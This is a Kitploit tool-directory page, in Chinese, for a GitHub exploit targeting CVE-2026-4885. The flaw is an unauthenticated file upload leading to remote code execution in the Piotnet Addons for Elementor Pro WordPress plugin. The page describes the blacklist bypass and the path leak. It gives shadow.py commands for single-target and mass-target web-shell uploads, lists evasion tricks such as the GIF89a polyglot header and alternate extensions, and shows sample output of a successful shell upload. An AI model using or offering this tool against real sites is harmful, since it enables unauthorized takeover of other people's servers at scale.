Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-4885 — Piotnet Addons for Elementor Pro <= 7.1.70 - 未经身份验证的任意文件上传 → RCE | Kitploit
工具/GitHubGitHub/xshadow-here/cve-2026-4885
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubxshadow-here/cve-2026-4885

CVE-2026-4885

Piotnet Addons for Elementor Pro <= 7.1.70 - 未经身份验证的任意文件上传 → RCE

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-4885

Piotnet Addons for Elementor Pro <= 7.1.70 - 未认证任意文件上传 → 远程代码执行(RCE)


描述:

WordPress 的 Piotnet Addons for Elementor Pro 插件在 7.1.70 及之前的所有版本中,由于 pafe_ajax_form_builder 函数缺少文件类型验证,存在任意文件上传漏洞。该插件使用了一个不完整的扩展名黑名单,仅阻止 php、phpt、php5、php7 和 exe 扩展名,却允许 .phar 或 .phtml 等危险扩展名被自由上传。

这使得未认证的攻击者能够在受影响网站的服务器上上传任意 PHP 文件,从而导致远程代码执行(RCE)。

注意: 只有在 Piotnet 表单中添加了文件字段时,该漏洞才能被触发。


信息:CVE-2026-4885

~ CVSS 评分:9.8(严重)

~ CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

~ 受影响版本:<= 7.1.70

~ 补丁状态:暂无可用补丁

~ 公开披露日期:2026年5月18日

  • 研究人员:Wannes Verwimp
  • PoC 作者:Shadow & Friska 🩷

根本原因:

pafe_ajax_form_builder AJAX 处理器接受文件上传,但未进行正确的验证:

root@kitploit:~
// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];

// .phtml, .phar, .shtml etc. pass through freely ✓

可通过未认证的 pafe_export_database AJAX 操作泄露上传路径 → CSV 导出包含完整的文件 URL。


使用方法:

交互式菜单(默认):

root@kitploit:~
python3 shadow.py
root@kitploit:~
  ╾────  MENU  ────╼

  1  ▶  one target
  2  ▶  mass scan
  3  ▶  exit

  [1/2/3] :

单个目标(命令行):

root@kitploit:~
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml

批量目标(命令行):

root@kitploit:~
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml

选项:

root@kitploit:~
-u, --url       Target URL
-f, --file      File with target URLs (one per line)
-s, --shell     Custom PHP shell file (GIF89a auto-prepended)
-t, --threads   Concurrent threads for mass mode (default: 5)
-h, --help      Show help

功能特性:

  • 🩷 完全交互式菜单(单个目标 / 批量扫描)
  • ⚡ 异步并行侦察 — 并发爬取页面
  • 🔍 从页面 HTML 中自动发现 form_id、post_id、field_name
  • 🪄 GIF89a 多语言魔数 — 绕过图像类型检查
  • 📡 通过 pafe_export_database 泄露 URL(无需认证、无需 nonce)
  • 🎯 Shell 上传验证(HTTP 200 + PHP 执行检查)
  • 💾 自动将结果保存到 shell.txt
  • 🌐 批量模式,支持可配置线程数 + 异步信号量
  • ⚠️ 上传提示前显示被阻止扩展名的警告

Shell:

在本地准备你的 shell 文件(例如 shadow.phtml)— 如果缺少 GIF89a 魔数,将自动添加前缀。

被阻止的扩展名: .php .phpt .php5 .php7 .exe

请改用: .phtml .phar .shtml .php8 等


输出:

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║                                                          ║
║  ♡  CVE-2026-4885                                        ║
║  Piotnet Addons for Elementor Pro  <=  7.1.70            ║
║  Unauthenticated File Upload  →  RCE                     ║
║                                                          ║
║  by Shadow & Friska  ♡                                   ║
║                                                          ║
╚══════════════════════════════════════════════════════════╝

  ╾────  VERSION  ────╼
  ♡  v7.1.67 <= 7.1.70  —  VULNERABLE

  ╾────  RECON  ────╼
  ◆  scanning 46 pages (parallel)...
  ♡  [PIOTNET]  https://target.com/contact
               post_id=9  |  form_id=72071c0
  ◆  using   : https://target.com/contact

  ╾────  EXPLOIT  ────╼
  ◆  post_id=9  |  form_id=72071c0  |  field=file
  ▶  trying .phtml ...
  ♡  uploaded  (.phtml)
  ♡  URL leak  : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml

  ╔══════════════════════════════════════════════════════════╗
  ║  ★  SHELL UPLOADED  (.phtml)                            ║
  ║                                                          ║
  ║  ◆  shell  : https://target.com/wp-content/...          ║
  ╚══════════════════════════════════════════════════════════╝

环境要求:

root@kitploit:~
pip install httpx

免责声明:

本工具仅供教育和授权安全测试目的使用。

对您不拥有或未经明确许可测试的系统进行未经授权的使用属于违法行为。作者不对因使用本工具造成的任何滥用或损害负责。

下载工具